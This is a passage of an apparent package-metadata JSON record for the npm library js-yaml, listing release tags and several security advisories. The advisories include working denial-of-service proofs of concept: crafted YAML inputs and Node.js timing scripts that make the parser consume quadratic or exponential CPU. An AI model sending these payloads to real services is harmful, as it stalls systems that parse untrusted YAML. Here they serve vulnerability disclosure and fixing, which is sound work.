github/nodeca/js-yaml@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/2.0.0/manifests"},{"name":"1.0.3","sha":"50cbd4b510ca580f82f6a621315dc66e2eedfab4","kind":"commit","published_at":"2012-11-05T01:56:57.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/1.0.3","html_url":"https://github.com/nodeca/js-yaml/releases/tag/1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/1.0.3/manifests"},{"name":"1.0.2","sha":"010e26403c888c6d96b4942d479637c923860ff9","kind":"commit","published_at":"2012-08-02T08:42:02.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/1.0.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/1.0.2/manifests"},{"name":"1.0.1","sha":"c38c82b49acb9671c519c20f57d6abd5469349b9","kind":"commit","published_at":"2012-07-07T09:40:33.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/1.0.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"ed602dca4878636151c180f868fe17a2fd2c236e","kind":"commit","published_at":"2012-07-01T14:59:25.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/1.0.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/1.0.0/manifests"},{"name":"0.3.7","sha":"df5fd4e7e4dab2b69eff7f3ca79eb357e9c6f210","kind":"commit","published_at":"2012-02-28T16:06:03.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/0.3.7","html_url":"https://github.com/nodeca/js-yaml/releases/tag/0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.7/manifests"},{"name":"0.3.6","sha":"f0c4eadfec90e3b639a289de18ab754997e4c6f7","kind":"commit","published_at":"2012-02-22T04:57:14.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/0.3.6","html_url":"https://github.com/nodeca/js-yaml/releases/tag/0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.6/manifests"},{"name":"0.3.5","sha":"44441b095cf7b7d920023e05f7beaee781b88b13","kind":"commit","published_at":"2012-01-10T12:01:50.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/0.3.5","html_url":"https://github.com/nodeca/js-yaml/releases/tag/0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.5/manifests"},{"name":"0.3.4","sha":"f1a22c06d386183a93449341b49a1f9d9092a908","kind":"commit","published_at":"2011-12-24T11:37:47.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/0.3.4","html_url":"https://github.com/nodeca/js-yaml/releases/tag/0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.4/manifests"},{"name":"0.3.3","sha":"25ef6b77e0e00da2b37f425ef530481d0ba55321","kind":"commit","published_at":"2011-12-20T00:30:10.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/0.3.3","html_url":"https://github.com/nodeca/js-yaml/releases/tag/0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.3/manifests"},{"name":"0.3.2","sha":"02c983f6bd31087f7a27e74b2ba7b508059001aa","kind":"commit","published_at":"2011-12-16T03:10:03.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/0.3.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"e015747485ad983ced1b151f4f92c70945b21ee6","kind":"commit","published_at":"2011-11-18T04:37:46.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/0.3.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"6313a64f7ad9ab39f406a86579f5544d931af0ba","kind":"commit","published_at":"2011-11-09T11:46:46.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/0.3.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.3.0/manifests"},{"name":"0.2.2","sha":"58847d7ab1ae457617ffcf304a0a2c5165f95ab0","kind":"commit","published_at":"2011-11-06T19:26:53.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/0.2.2","html_url":"https://github.com/nodeca/js-yaml/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.2.2/manifests"},{"name":"0.2.1","sha":"88d0924efdca6d0e2ea94d795a7496ae13a5071d","kind":"commit","published_at":"2011-11-02T15:15:32.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/0.2.1","html_url":"https://github.com/nodeca/js-yaml/releases/tag/0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.2.1/manifests"},{"name":"0.2.0","sha":"cea6dc816ba0a2a8196db9b2fe614ee4112b154d","kind":"commit","published_at":"2011-11-02T01:52:09.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/0.2.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.2.0/manifests"},{"name":"0.1.0","sha":"73887a207aae0b20cdd1604418e4300eda93fe9d","kind":"commit","published_at":"2011-10-30T23:34:35.000Z","download_url":"https://codeload.github.com/nodeca/js-yaml/tar.gz/0.1.0","html_url":"https://github.com/nodeca/js-yaml/releases/tag/0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/nodeca/js-yaml@0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nodeca%2Fjs-yaml/tags/0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-09-21T17:43:56.839Z","dependent_packages_count":20789,"downloads":1047406836,"downloads_period":"last-month","dependent_repos_count":1075506,"rankings":{"downloads":0.0015058904960239014,"dependent_repos_count":0.03187011886130584,"dependent_packages_count":0.005065268032080396,"stargazers_count":1.255803154375132,"forks_count":1.3297013079891051,"docker_downloads_count":0.007118755072112989,"average":0.4385107491376267},"purl":"pkg:npm/js-yaml","advisories":[{"uuid":"GSA_kwCzR0hTQS0yODgzLXhjZzMtdjNoaM4ABu9F","url":"https://github.com/advisories/GHSA-2883-xcg3-v3hh","title":"js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources","description":"## Summary\n\n`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.\n\n## Example\n\n```yaml\narr: \u0026arr [{}, {}, {}, ...] # N empty mappings\ntargets:\n  - \u003c\u003c: *arr                # repeated K times\n```\n\nFor every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.\n\n## PoC\n\n```js\nimport { performance } from 'node:perf_hooks'\nimport { load, YAML11_SCHEMA } from 'js-yaml'\n\nconst n = 20000\n\nconst src =\n  'arr: \u0026arr [' + '{},'.repeat(n).slice(0, -1) + ']\\n' +\n  'targets:\\n' +\n  '  - \u003c\u003c: *arr\\n'.repeat(n)\n\nconst started = performance.now()\n\nload(src, { schema: YAML11_SCHEMA })\n\nconsole.log(`${(performance.now() - started).toFixed(1)} ms`)\n```\n\nObserved results:\n\n| N | YAML size | Time |\n|---:|---:|---:|\n| 800 | ~13 KB | ~20 ms |\n| 3200 | ~50 KB | ~180 ms |\n| 20000 | ~500 KB | ~13 s |\n\n## Impact\n\nAn attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.\n\n## Fix\n\nCount each merge-source mapping as one budget unit, in addition to counting its keys.\n\n## Difference with v5\n\nIn v3 \u0026 v4, merge is enabled by default. So, the severity score is higher.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-08T21:24:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nodeca/js-yaml/security/advisories/GHSA-2883-xcg3-v3hh","https://nvd.nist.gov/vuln/detail/CVE-2026-84375","https://github.com/nodeca/js-yaml/pull/797","https://github.com/nodeca/js-yaml/commit/3485bc06ff8a0251505f44a00414d90df2466639","https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480","https://github.com/nodeca/js-yaml/commit/d90b6612a5a84385bdcb556c44578eac76dc0f6b","https://github.com/nodeca/js-yaml/releases/tag/3.15.2","https://github.com/nodeca/js-yaml/releases/tag/4.3.2","https://github.com/advisories/GHSA-2883-xcg3-v3hh"],"source_kind":"github","identifiers":["GHSA-2883-xcg3-v3hh","CVE-2026-84375"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T22:00:08.672Z","updated_at":"2026-09-19T09:00:28.720Z","epss_percentage":0.00385,"epss_percentile":0.31552,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yODgzLXhjZzMtdjNoaM4ABu9F","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yODgzLXhjZzMtdjNoaM4ABu9F","packages":[{"ecosystem":"npm","package_name":"js-yaml","versions":[{"first_patched_version":"3.15.2","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.15.2"},{"first_patched_version":"4.3.2","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.3.2"}],"purl":"pkg:npm/js-yaml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yODgzLXhjZzMtdjNoaM4ABu9F/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01cDRtLTJ3Zm0teG1xas4ABhoS","url":"https://github.com/advisories/GHSA-5p4m-2wfm-xmqj","title":"JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported","description":"# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x)\n\n## Summary\n\n`resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear\nscan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution\n**O(n²)** in the number of entries. A modestly sized YAML document therefore\nconsumes disproportionate CPU inside `yaml.load()`, giving a denial of service\nagainst any consumer that parses untrusted YAML.\n\n`!!omap` is registered in the **default schema**\n(`lib/schema/default.js` → `require('../type/omap')`), so a plain\n`yaml.load(untrustedInput)` with no options is affected — no custom schema or\nnon-default configuration is required.\n\n**This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was\nfixed in the 5.x line in 5.2.1. That fix was never backported: both currently\nmaintained legacy lines still carry the original implementation.\n\n## Affected versions\n\n| Line | Latest tested | Status |\n|---|---|---|\n| 3.x | **3.15.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` |\n| 4.x | **4.3.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` |\n| 5.x | 5.2.2 | **Not affected** — fixed in 5.2.1 (uses a `Set`) |\n\nBoth figures are the newest release of each line at the time of writing, so\nthis is not a \"you are on an old version\" issue.\n\n## Details\n\n`lib/type/omap.js` (js-yaml 4.3.0):\n\n```js\nif (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)\nelse return false\n```\n\n`objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a\nlinear scan, so resolving an `n`-entry `!!omap` performs roughly\n`1 + 2 + … + n` comparisons — quadratic in `n`. The work happens synchronously\ninside `yaml.load()`, blocking the event loop for its whole duration.\n\nThe 5.x line already solves exactly this by tracking seen keys in a `Set`\n(`src/tag/sequence/omap.ts`):\n\n```ts\nif (carrier.seen.has(key)) return 'duplicate key in ordered map'\ncarrier.seen.add(key)\n```\n\n## Proof of concept\n\n```js\n// poc.js  —  node poc.js\nconst yaml = require('js-yaml');\nconst doc = n =\u003e '!!omap\\n' + Array.from({length: n}, (_, i) =\u003e `- k${i}: ${i}`).join('\\n') + '\\n';\n\nfor (const n of [10000, 20000, 40000, 80000]) {\n  const d = doc(n), t = Date.now();\n  yaml.load(d);                      // default schema, no options\n  console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);\n}\n```\n\n### Measured (node v20.20.2, default heap, no flags)\n\n**js-yaml 4.3.0**\n\n```\nn=10000  bytes=137787   load=54ms\nn=20000  bytes=297787   load=169ms\nn=40000  bytes=617787   load=646ms\nn=80000  bytes=1257787  load=2607ms\n```\n\n**js-yaml 3.15.0**\n\n```\nn=10000  bytes=137787   load=53ms\nn=20000  bytes=297787   load=166ms\nn=40000  bytes=617787   load=641ms\nn=80000  bytes=1257787  load=2567ms\n```\n\nRuntime grows by a factor of ~4 for each doubling of `n`, which is the\nsignature of O(n²) (linear growth would be ~2×).\n\nScaling further: a **2.48 MB** document with 150,000 entries blocked\n`yaml.load()` for **10.8 seconds**.\n\n## Impact\n\nAny service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be\nstalled with a small input. Because the loop is synchronous, a single request\nblocks the Node.js event loop and stalls every other request in the process —\nso the amplification is per-process, not just per-request.\n\nSuggested severity: consistent with **CVE-2026-59870** (the same weakness in\n5.x), i.e. Availability-only impact, network attack vector, no privileges or\nuser interaction required.\n\n## Suggested fix\n\nMirror the 5.x fix — replace the linear scan with a `Set`:\n\n```js\n// lib/type/omap.js\nconst seen = new Set()\n// ...\nif (seen.has(pairKey)) return false\nseen.add(pairKey)\n```\n\nThis preserves the existing duplicate-key rejection semantics exactly while\nmaking resolution O(n). A `maxOmapLength`-style cap would also work, but the\n`Set` matches what 5.x already ships and requires no new option.\n\n## References\n\n- CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1\n- `lib/type/omap.js` (3.x, 4.x) — the affected resolver\n- `lib/schema/default.js` — registers `!!omap` in the default schema\n\n## Discovery\n\nFound by an automated static-analysis and executed-proof-of-concept scanner run\nagainst js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by\nexecuting the proof of concept above. All timings in this report were measured\non the **current** releases of each line, not on the version originally scanned.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-06T20:27:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nodeca/js-yaml/security/advisories/GHSA-5p4m-2wfm-xmqj","https://github.com/advisories/GHSA-5p4m-2wfm-xmqj"],"source_kind":"github","identifiers":["GHSA-5p4m-2wfm-xmqj"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-06T21:00:08.649Z","updated_at":"2026-09-14T14:00:45.904Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cDRtLTJ3Zm0teG1xas4ABhoS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01cDRtLTJ3Zm0teG1xas4ABhoS","packages":[{"ecosystem":"npm","package_name":"js-yaml","versions":[{"first_patched_version":"3.15.1","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.15.1"},{"first_patched_version":"4.3.1","vulnerable_version_range":"\u003e= 4.0.0, \u003c 4.3.1"}],"purl":"pkg:npm/js-yaml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01cDRtLTJ3Zm0teG1xas4ABhoS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wbTRtLXBoMzItZ2h2Nc4ABfrB","url":"https://github.com/advisories/GHSA-pm4m-ph32-ghv5","title":"js-yaml: Exponential parsing time in flow collections leads to denial of service","description":"### Summary\nParsing a small YAML document can take exponential time. An application that calls `load()` or `loadAll()` on untrusted input can be hung by a payload under 200 bytes.\n\n### Details\nWhen an entry in a flow sequence turns out to be a `key: value` pair, the parser rewinds and parses that entry a second time as the key.\nIf the key is itself a nested flow sequence of the same shape, every level is parsed twice, so the total work is O(2^n) in the nesting depth. The default `maxDepth` of 100 does not help, because the time is already unmanageable at about 30 to 40 levels.\n\nRoot cause, potentially the: `readFlowCollection` in [parser.ts](https://github.com/nodeca/js-yaml/blob/master/src/parser/parser.ts), the `restoreState` followed by a second `parseNode` further down.\n\n\n### PoC\n\n```javascript\nconst yaml = require('js-yaml')\nconst n = 30\nyaml.load('[ '.repeat(n) + '1' + ' ]: 0'.repeat(n))\n```\n\nWith default options: 22 levels takes about 1 second, 26 levels about 17 seconds, 30 levels over 2 minutes. The input stays under 200 bytes and grows linearly with `n`.\n\n### Impact\nDenial of service. A single small request can keep one CPU busy for minutes or longer and blocks the Node event loop, so one request can stall the whole process. No anchors, aliases, merges, tags, or non default options are required, and it reproduces on the default schema.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T16:47:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/nodeca/js-yaml/security/advisories/GHSA-pm4m-ph32-ghv5","https://github.com/nodeca/js-yaml/commit/3e5240f9cbe645ce5afb58524954a13c8539c853","https://github.com/nodeca/js-yaml/releases/tag/5.2.2","https://github.com/advisories/GHSA-pm4m-ph32-ghv5"],"source_kind":"github","identifiers":["GHSA-pm4m-ph32-ghv5","CVE-2026-73643"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T17:00:09.078Z","updated_at":"2026-09-14T14:01:06.042Z","epss_percentage":0.00344,"epss_percentile":0.27585,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbTRtLXBoMzItZ2h2Nc4ABfrB","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wbTRtLXBoMzItZ2h2Nc4ABfrB","packages":[{"ecosystem":"npm","package_name":"js-yaml","versions":[{"first_patched_version":"5.2.2","vulnerable_version_range":"\u003e= 5.0.0, \u003c= 5.2.1"}],"purl":"pkg:npm/js-yaml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wbTRtLXBoMzItZ2h2Nc4ABfrB/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nNzk2LWZnbWctOTNtds4ABcP_","url":"https://github.com/advisories/GHSA-g796-fgmg-93mv","title":"js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml","description":"### Impact\n\nThis is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default\n\nWhen merge keys (`\u003c\u003c`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:\n\n```yaml\na0: \u0026a0 { k0: 0 }\na1: \u0026a1 { \u003c\u003c: *a0, k1: 1 }\na2: \u0026a2 { \u003c\u003c: *a1, k2: 2 }\na3: \u0026a3 { \u003c\u003c: *a2, k3: 3 }\n...\nb: *aN\n```\n\nFor each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.\n\n### PoC\n\nFrom N = 4000 delay become \u003e 1s (doc size \u003c 100K)\n\n```js\nimport { performance } from 'node:perf_hooks'\nimport { Buffer } from 'node:buffer'\nimport { load, YAML11_SCHEMA } from 'js-yaml'\n\nconst n = Number(process.argv[2] || 4000)\n\nfunction makeMergeChain (count) {\n  const lines = ['a0: \u0026a0 { k0: 0 }']\n\n  for (let i = 1; i \u003c count; i++) {\n    lines.push(`a${i}: \u0026a${i} { \u003c\u003c: *a${i - 1}, k${i}: ${i} }`)\n  }\n\n  lines.push(`b: *a${count - 1}`)\n  return `${lines.join('\\n')}\\n`\n}\n\nconst source = makeMergeChain(n)\n\nconsole.log(source.split('\\n').slice(0, 8).join('\\n'))\nconsole.log('...')\nconsole.log(source.split('\\n').slice(-4).join('\\n'))\nconsole.log()\nconsole.log(`N: ${n}`)\nconsole.log(`YAML size: ${Buffer.byteLength(source)} bytes`)\n\nconst started = performance.now()\nconst result = load(source, { schema: YAML11_SCHEMA })\nconst elapsed = performance.now() - started\n\nconsole.log(`parse time: ${elapsed.toFixed(1)} ms`)\nconsole.log(`top-level keys: ${Object.keys(result).length}`)\nconsole.log(`b keys: ${Object.keys(result.b).length}`)\n```\n\n### Patches\n\nFix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T21:19:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/nodeca/js-yaml/security/advisories/GHSA-g796-fgmg-93mv","https://nvd.nist.gov/vuln/detail/CVE-2026-59868","https://github.com/nodeca/js-yaml/commit/3105455b81dee69e0fd36e09ac0b2ccfdb54adc1","https://github.com/nodeca/js-yaml/releases/tag/5.2.0","https://github.com/advisories/GHSA-g796-fgmg-93mv"],"source_kind":"github","identifiers":["GHSA-g796-fgmg-93mv","CVE-2026-59868"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-09-14T14:01:25.490Z","epss_percentage":0.00644,"epss_percentile":0.48575,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNzk2LWZnbWctOTNtds4ABcP_","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nNzk2LWZnbWctOTNtds4ABcP_","packages":[{"ecosystem":"npm","package_name":"js-yaml","versions":[{"first_patched_version":"5.2.0","vulnerable_version_range":"\u003e= 5.0.0, \u003c= 5.1.0"}],"purl":"pkg:npm/js-yaml"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nNzk2LWZnbWctOTNtds4ABcP_/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01MmNwLXI1NTktY3Azbc4ABcP-","url":"https://github.com/advisories/GHSA-52cp-r559-cp3m","title":"js-yaml: YAML merge-key chains can force quadratic CPU consumption","description":"### Impact\n\njs-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:\n\n```yaml\na0: \u0026a0 { k0: 0 }\na1: \u0026a1 { \u003c\u003c: *a0, k1: 1 }\na2: \u0026a2 { \u003c\u003c: *a1, k2: 2 }\na3: \u0026a3 { \u003c\u003c: *a2, k3: 3 }\n...\nb: *aN\n```\n\nFor each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.\n\n### PoC\n\nFrom N = 4000 delay become \u003e 1s (doc size \u003c 100K)\n\n```js\nimport { performance } from 'node:perf_hooks'\nimport { Buffer } from 'node:buffer'\nimport { load, YAML11_SCHEMA } from 'js-yaml'\n\nconst n = Number(process.argv[2] || 4000)\n\nfunction makeMergeChain (count) {\n  const lines = ['a0: \u0026a0 { k0: 0 }']\n\n  for (let i = 1; i \u003c count; i++) {\n    lines.push(`a${i}: \u0026a${i} { \u003c\u003c: *a${i - 1}, k${i}: ${i} }`)\n  }\n\n  lines.push(`b: *a${count - 1}`)\n  return `${lines.join('\\n')}\\n`\n}\n\nconst source = makeMergeChain(n)\n\nconsole.log(source.split('\\n').slice(0, 8).join('\\n'))\nconsole.log('...')\nconsole.log(source.split('\\n').slice(-4).join('\\n'))\nconsole.log()\nconsole.log(`N: ${n}`)\nconsole.log(`YAML size: ${Buffer.byteLength(source)} bytes`)\n\nconst started = performance.now()\nconst result = load(source, { schema: YAML11_SCHEMA })\nconst elapsed = performance.now() - started\n\nconsole.log(`parse time: ${elapsed.toFixed(1)} ms`)\nconsole.log(`top-level keys: ${Object.keys(result).length}`)\nconsole.log(`b keys: ${Object.keys(result.b).length}`)\n```\n\n### Patches\n\nFix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most 